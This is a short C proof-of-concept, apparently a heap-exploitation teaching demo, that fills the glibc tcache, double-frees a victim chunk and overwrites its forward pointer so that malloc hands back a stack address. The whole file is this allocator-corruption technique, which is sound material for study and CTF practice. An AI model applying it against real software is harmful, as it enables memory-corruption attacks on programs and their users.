1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| #include <stdio.h> [14/1805] #include <stdlib.h> #include <stdint.h>
int main() { setbuf(stdin,0); setbuf(stdout,0);
intptr_t *tcache[7]; intptr_t *victim,*prev;
intptr_t stack_var[4];
for(int i=0;i<7;i++) { tcache[i] = malloc(0x100); }
prev = malloc(0x100); victim = malloc(0x100); malloc(0);
for(int i=0;i<7;i++) { free(tcache[i]); }
free(victim); free(prev); intptr_t *temp = malloc(0x100); free(victim); puts("write victim's fd pointer as stack addr."); intptr_t *x = malloc(0x120); x[0x120/8-2] = (long)stack_var;
sleep(0); malloc(0x100); intptr_t *new = malloc(0x100);
printf("now we get a chunk at stack addr is: %p.\n",new); sleep(0x100); return 0; }
|